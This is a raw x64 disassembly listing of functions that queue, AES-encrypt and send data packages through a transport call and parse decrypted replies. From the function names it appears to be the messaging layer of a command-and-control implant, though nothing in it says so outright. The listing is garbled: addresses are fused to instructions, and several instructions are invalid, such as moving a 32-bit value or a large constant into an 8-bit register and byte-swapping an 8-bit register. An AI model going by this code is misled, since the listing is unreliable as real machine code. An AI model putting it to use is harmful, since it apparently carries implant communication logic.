    140018b57mov rcx, [rbx+8]
    140018b5bcall [rsi+940]
    140018b61xor eax, eax
    140018b63mov [rbx+8], rax
    140018b67
    140018b67loc_140018b67:
    140018b67mov rdi, rbx
    140018b6amov ecx, 48
    140018b6fxor eax, eax
    140018b71rep stosb [rdi], al
    140018b73mov rax, [rsi+940]
    140018b7aadd rsp, 32
    140018b7emov rcx, rbx
    140018b81pop rbx
    140018b82pop rsi
    140018b83pop rdi
    140018b84jmp rax
    140018b86
    140018b86loc_140018b86:
    140018b86ret
    140018af0
    140018b87
    140018b87 // align 0x10
    140018b90
    140018b90PackageTransmit:
    140018b90test rcx, rcx
    140018b93je 0x140018bc0
    140018b95mov rdx, [rip+0x137d4]
    140018b9cmov rax, [rdx+2242]
    140018ba3test rax, rax
    140018ba6jne 0x140018bb0
    140018ba8mov [rdx+2242], rcx
    140018bafret
    140018bb0
    140018bb0loc_140018bb0:
    140018bb0mov rdx, rax
    140018bb3mov rax, [rax+40]
    140018bb7test rax, rax
    140018bbajne 0x140018bb0
    140018bbcmov [rdx+40], rcx
    140018bc0
    140018bc0loc_140018bc0:
    140018bc0ret
    140018b90
    140018bc1
    140018bc1 // align 0x10
    140018bd0
    140018bd0PackageTransmitAll:
    140018bd0push r13
    140018bd2xor eax, eax
    140018bd4mov r13, rdx
    140018bd7push r12
    140018bd9push rbp
    140018bdamov rbp, rcx
    140018bddmov ecx, 64
    140018be2push rdi
    140018be3push rsi
    140018be4push rbx
    140018be5sub rsp, 296
    140018beclea rdi, [rsp+32]
    140018bf1lea r12, [rsp+32]
    140018bf6rep stosd [rdi], eax
    140018bf8mov rdi, [rip+0x13771]
    140018bffmov ecx, 1
    140018c04mov rbx, [rdi+2242]
    140018c0bcall PackageCreateWithMetaData
    140018c10mov rsi, rax
    140018c13
    140018c13loc_140018c13:
    140018c13test rbx, rbx
    140018c16je 0x140018c4e
    140018c18mov edx, [rbx+4]
    140018c1bmov rcx, rsi
    140018c1ecall PackageAddInt32
    140018c23mov edx, [rbx]
    140018c25mov rcx, rsi
    140018c28call PackageAddInt32
    140018c2dmov rdx, [rbx+8]
    140018c31mov r8, [rbx+16]
    140018c35mov rcx, rsi
    140018c38call PackageAddBytes
    140018c3dcmp [rsi+16], 0x300000
    140018c45mov [rbx+32], 1
    140018c4cjbe 0x140018cc6
    140018c4e
    140018c4eloc_140018c4e:
    140018c4emov eax, [rsi+16]
    140018c51mov rcx, [rsi+8]
    140018c55lea edx, [rax-4]
    140018c58call Int32ToBuffer
    140018c5dmov rdx, [rdi+284]
    140018c64mov r8, [rdi+292]
    140018c6bmov rcx, r12
    140018c6ecall AesInit
    140018c73mov rax, [rsi+16]
    140018c77mov rbx, [rsi+8]
    140018c7bmov rcx, r12
    140018c7elea r8, [rax-20]
    140018c82lea rdx, [rbx+20]
    140018c86call AesXCryptBuffer
    140018c8bmov rdx, [rsi+16]
    140018c8fmov rcx, [rsi+8]
    140018c93mov r8, rbp
    140018c96mov r9, r13
    140018c99call TransportSend
    140018c9emov ebp, eax
    140018ca0test eax, eax
    140018ca2jne 0x140018ccf
    140018ca4lea r9, [rip+63899]
    140018cabmov r8l, 362
    140018cb1lea rdx, [rip+0x13b78]
    140018cb8lea rcx, [rip+63834]
    140018cbfcall printf
    140018cc4jmp 0x140018cd4
    140018cc6
    140018cc6loc_140018cc6:
    140018cc6mov rbx, [rbx+40]
    140018ccajmp 0x140018c13
    140018ccf
    140018ccfloc_140018ccf:
    140018ccfmov ebp, 1
    140018cd4
    140018cd4loc_140018cd4:
    140018cd4mov rcx, [rsi+8]
    140018cd8mov rax, [rsi+16]
    140018cdclea rdx, [rcx+20]
    140018ce0lea r8, [rax-20]
    140018ce4mov rcx, r12
    140018ce7call AesXCryptBuffer
    140018cecmov rbx, [rdi+2242]
    140018cf3test ebp, ebp
    140018cf5je 0x140018d89
    140018cfb
    140018cfbloc_140018cfb:
    140018cfbxor r12l, r12l
    140018cfe
    140018cfeloc_140018cfe:
    140018cfetest rbx, rbx
    140018d01je 0x140018d99
    140018d07
    140018d07loc_140018d07:
    140018d07cmp [rbx+32], 0
    140018d0bje 0x140018d7d
    140018d0dcmp [rdi+2242], rbx
    140018d14jne 0x140018d38
    140018d16mov rax, [rbx+40]
    140018d1acmp [rbx+28], 0
    140018d1emov [rdi+2242], rax
    140018d25je 0x140018d2f
    140018d27mov rcx, rbx
    140018d2acall PackageDestroy
    140018d2f
    140018d2floc_140018d2f:
    140018d2fmov rbx, [rdi+2242]
    140018d36jmp 0x140018cfb
    140018d38
    140018d38loc_140018d38:
    140018d38test r12, r12
    140018d3bje 0x140018d5b
    140018d3dmov rax, [rbx+40]
    140018d41cmp [rbx+28], 0
    140018d45mov [r12+40], rax
    140018d4aje 0x140018d54
    140018d4cmov rcx, rbx
    140018d4fcall PackageDestroy
    140018d54
    140018d54loc_140018d54:
    140018d54mov rbx, [r12+40]
    140018d59jmp 0x140018cfe
    140018d5b
    140018d5bloc_140018d5b:
    140018d5blea r9, [rip+63755]
    140018d62mov r8l, 410
    140018d68lea rdx, [rip+0x13ac1]
    140018d6flea rcx, [rip+63651]
    140018d76call printf
    140018d7bjmp 0x140018d07
    140018d7d
    140018d7dloc_140018d7d:
    140018d7dmov r12, rbx
    140018d80mov rbx, [rbx+40]
    140018d84jmp 0x140018cfe
    140018d89
    140018d89loc_140018d89:
    140018d89test rbx, rbx
    140018d8cje 0x140018d99
    140018d8exor eax, eax
    140018d90mov [rbx+32], eax
    140018d93mov rbx, [rbx+40]
    140018d97jmp 0x140018d89
    140018d99
    140018d99loc_140018d99:
    140018d99mov rcx, rsi
    140018d9ccall PackageDestroy
    140018da1add rsp, 296
    140018da8mov eax, ebp
    140018daapop rbx
    140018dabpop rsi
    140018dacpop rdi
    140018dadpop rbp
    140018daepop r12
    140018db0pop r13
    140018db2ret
    140018bd0
    140018db3
    140018db3 // align 0x10
    140018dc0
    140018dc0PackageTransmitError:
    140018dc0push rdi
    140018dc1mov r9l, edx
    140018dc4mov r8l, 442
    140018dcamov edi, ecx
    140018dccpush rsi
    140018dcdlea rcx, [rip+63673]
    140018dd4mov esi, edx
    140018dd6lea rdx, [rip+0x13843]
    140018dddpush rbx
    140018ddesub rsp, 32
    140018de2call printf
    140018de7mov ecx, 91
    140018deccall PackageCreate
    140018df1mov edx, edi
    140018df3mov rbx, rax
    140018df6mov rcx, rax
    140018df9call PackageAddInt32
    140018dfemov rcx, rbx
    140018e01mov edx, esi
    140018e03call PackageAddInt32
    140018e08add rsp, 32
    140018e0cmov rcx, rbx
    140018e0fpop rbx
    140018e10pop rsi
    140018e11pop rdi
    140018e12jmp 0x140018b90
    140018dc0
    140018e17
    140018e17 // align 0x10
    140018e20
    140018e20PackageTransmitNow:
    140018e20push r13
    140018e22xor eax, eax
    140018e24push r12
    140018e26push rbp
    140018e27push rdi
    140018e28push rsi
    140018e29push rbx
    140018e2amov rbx, rcx
    140018e2dmov ecx, 64
    140018e32sub rsp, 296
    140018e39lea rdi, [rsp+32]
    140018e3erep stosd [rdi], eax
    140018e40test rbx, rbx
    140018e43je 0x140018f37
    140018e49mov rcx, [rbx+8]
    140018e4dtest rcx, rcx
    140018e50jne 0x140018e64
    140018e52lea r9, [rip+63444]
    140018e59mov r8l, 240
    140018e5fjmp 0x140018f44
    140018e64
    140018e64loc_140018e64:
    140018e64mov eax, [rbx+16]
    140018e67mov r12, rdx
    140018e6axor esi, esi
    140018e6cmov r13, r8
    140018e6flea rbp, [rsp+32]
    140018e74lea edx, [rax-4]
    140018e77call Int32ToBuffer
    140018e7ccmp [rbx+24], 0
    140018e80je 0x140018ec9
    140018e82cmp [rbx+4], 99
    140018e86mov eax, 20
    140018e8bmov esi, 68
    140018e90mov rcx, rbp
    140018e93cmovne rsi, rax
    140018e97mov rax, [rip+0x134d2]
    140018e9emov rdx, [rax+284]
    140018ea5mov r8, [rax+292]
    140018eaccall AesInit
    140018eb1mov rdx, [rbx+8]
    140018eb5mov r8, [rbx+16]
    140018eb9mov eax, esi
    140018ebbmov rcx, rbp
    140018ebeadd rdx, rax
    140018ec1sub r8, rax
    140018ec4call AesXCryptBuffer
    140018ec9
    140018ec9loc_140018ec9:
    140018ec9mov rdx, [rbx+16]
    140018ecdmov rcx, [rbx+8]
    140018ed1mov r9, r13
    140018ed4mov r8, r12
    140018ed7call TransportSend
    140018edcmov edi, eax
    140018edetest eax, eax
    140018ee0jne 0x140018f04
    140018ee2lea r9, [rip+63325]
    140018ee9mov r8l, 263
    140018eeflea rdx, [rip+0x13dca]
    140018ef6lea rcx, [rip+63260]
    140018efdcall printf
    140018f02jmp 0x140018f09
    140018f04
    140018f04loc_140018f04:
    140018f04mov edi, 1
    140018f09
    140018f09loc_140018f09:
    140018f09cmp [rbx+28], 0
    140018f0dje 0x140018f19
    140018f0fmov rcx, rbx
    140018f12call PackageDestroy
    140018f17jmp 0x140018f59
    140018f19
    140018f19loc_140018f19:
    140018f19cmp [rbx+24], 0
    140018f1dje 0x140018f59
    140018f1fmov r8, [rbx+16]
    140018f23mov rdx, [rbx+8]
    140018f27mov rcx, rbp
    140018f2aadd rdx, rsi
    140018f2dsub r8, rsi
    140018f30call AesXCryptBuffer
    140018f35jmp 0x140018f59
    140018f37
    140018f37loc_140018f37:
    140018f37lea r9, [rip+63262]
    140018f3emov r8l, 272
    140018f44
    140018f44loc_140018f44:
    140018f44lea rdx, [rip+0x13d75]
    140018f4blea rcx, [rip+63175]
    140018f52xor edi, edi
    140018f54call printf
    140018f59
    140018f59loc_140018f59:
    140018f59add rsp, 296
    140018f60mov eax, edi
    140018f62pop rbx
    140018f63pop rsi
    140018f64pop rdi
    140018f65pop rbp
    140018f66pop r12
    140018f68pop r13
    140018f6aret
    140018e20
    140018f6b
    140018f6b // align 0x10
    140018f70
    140018f70ParserDecrypt:
    140018f70push rdi
    140018f71xor eax, eax
    140018f73push rbx
    140018f74mov rbx, rcx
    140018f77mov ecx, 64
    140018f7csub rsp, 296
    140018f83lea rdi, [rsp+32]
    140018f88rep stosd [rdi], eax
    140018f8atest rbx, rbx
    140018f8dje 0x140018fac
    140018f8flea rdi, [rsp+32]
    140018f94mov rcx, rdi
    140018f97call AesInit
    140018f9cmov rdx, [rbx+8]
    140018fa0mov r8l, [rbx+20]
    140018fa4mov rcx, rdi
    140018fa7call AesXCryptBuffer
    140018fac
    140018facloc_140018fac:
    140018facadd rsp, 296
    140018fb3pop rbx
    140018fb4pop rdi
    140018fb5ret
    140018f70
    140018fb6
    140018fb6 // align 0x10
    140018fc0
    140018fc0ParserDestroy:
    140018fc0push rdi
    140018fc1push rbx
    140018fc2sub rsp, 40
    140018fc6mov rdi, [rcx]
    140018fc9test rdi, rdi
    140018fccje 0x140018ff1
    140018fcemov rbx, rcx
    140018fd1xor eax, eax
    140018fd3mov ecx, [rcx+16]
    140018fd6rep stosb [rdi], al
    140018fd8mov rax, [rip+0x13391]
    140018fdfmov rcx, [rbx]
    140018fe2call [rax+940]
    140018fe8xor eax, eax
    140018feamov [rbx], rax
    140018fedmov [rbx+8], rax
    140018ff1
    140018ff1loc_140018ff1:
    140018ff1add rsp, 40
    140018ff5pop rbx
    140018ff6pop rdi
    140018ff7ret
    140018fc0
    140018ff8
    140018ff8 // align 0x10
    140019000
    140019000ParserGetBool:
    140019000xor edx, edx
    140019002test rcx, rcx
    140019005je 0x14001902c
    140019007mov eax, [rcx+20]
    14001900acmp eax, 3
    14001900djbe 0x14001902c
    14001900fmov rdx, [rcx+8]
    140019013sub eax, 4
    140019016mov r8l, [rdx]
    140019019add rdx, 4
    14001901dmov [rcx+20], eax
    140019020mov [rcx+8], rdx
    140019024xor edx, edx
    140019026test r8l, r8l
    140019029setne dl
    14001902c
    14001902cloc_14001902c:
    14001902cmov eax, edx
    14001902eret
    140019000
    14001902f
    14001902f // align 0x10
    140019030
    140019030ParserGetByte:
    140019030mov eax, [rcx+20]
    140019033xor r8l, r8l
    140019036test eax, eax
    140019038je 0x14001904d
    14001903amov rdx, [rcx+8]
    14001903edec eax
    140019040mov r8b, [rdx]
    140019043inc rdx
    140019046mov [rcx+20], eax
    140019049mov [rcx+8], rdx
    14001904d
    14001904dloc_14001904d:
    14001904dmov eax, r8l
    140019050ret
    140019030
    140019051
    140019051 // align 0x10
    140019060
    140019060ParserGetBytes:
    140019060mov rax, rcx
    140019063test rcx, rcx
    140019066je 0x1400190a5
    140019068mov ecx, [rcx+20]
    14001906bcmp ecx, 3
    14001906ejbe 0x1400190a3
    140019070mov r8, [rax+8]
    140019074cmp [rax+28], 0
    140019078lea r9, [r8+4]
    14001907cmov r8l, [r8]
    14001907fje 0x140019084
    140019081bswap r8l
    140019084
    140019084loc_140019084:
    140019084sub ecx, 4
    140019087sub ecx, r8l
    14001908amov [rax+20], ecx
    14001908dmov ecx, r8l
    140019090add rcx, r9
    140019093mov [rax+8], rcx
    140019097test rdx, rdx
    14001909aje 0x14001909f
    14001909cmov [rdx], r8l
    14001909f
    14001909floc_14001909f:
    14001909fmov rax, r9
    1400190a2ret
    1400190a3
    1400190a3loc_1400190a3:
    1400190a3xor eax, eax
    1400190a5
    1400190a5loc_1400190a5:
    1400190a5ret
    140019060
    1400190a6
    1400190a6 // align 0x10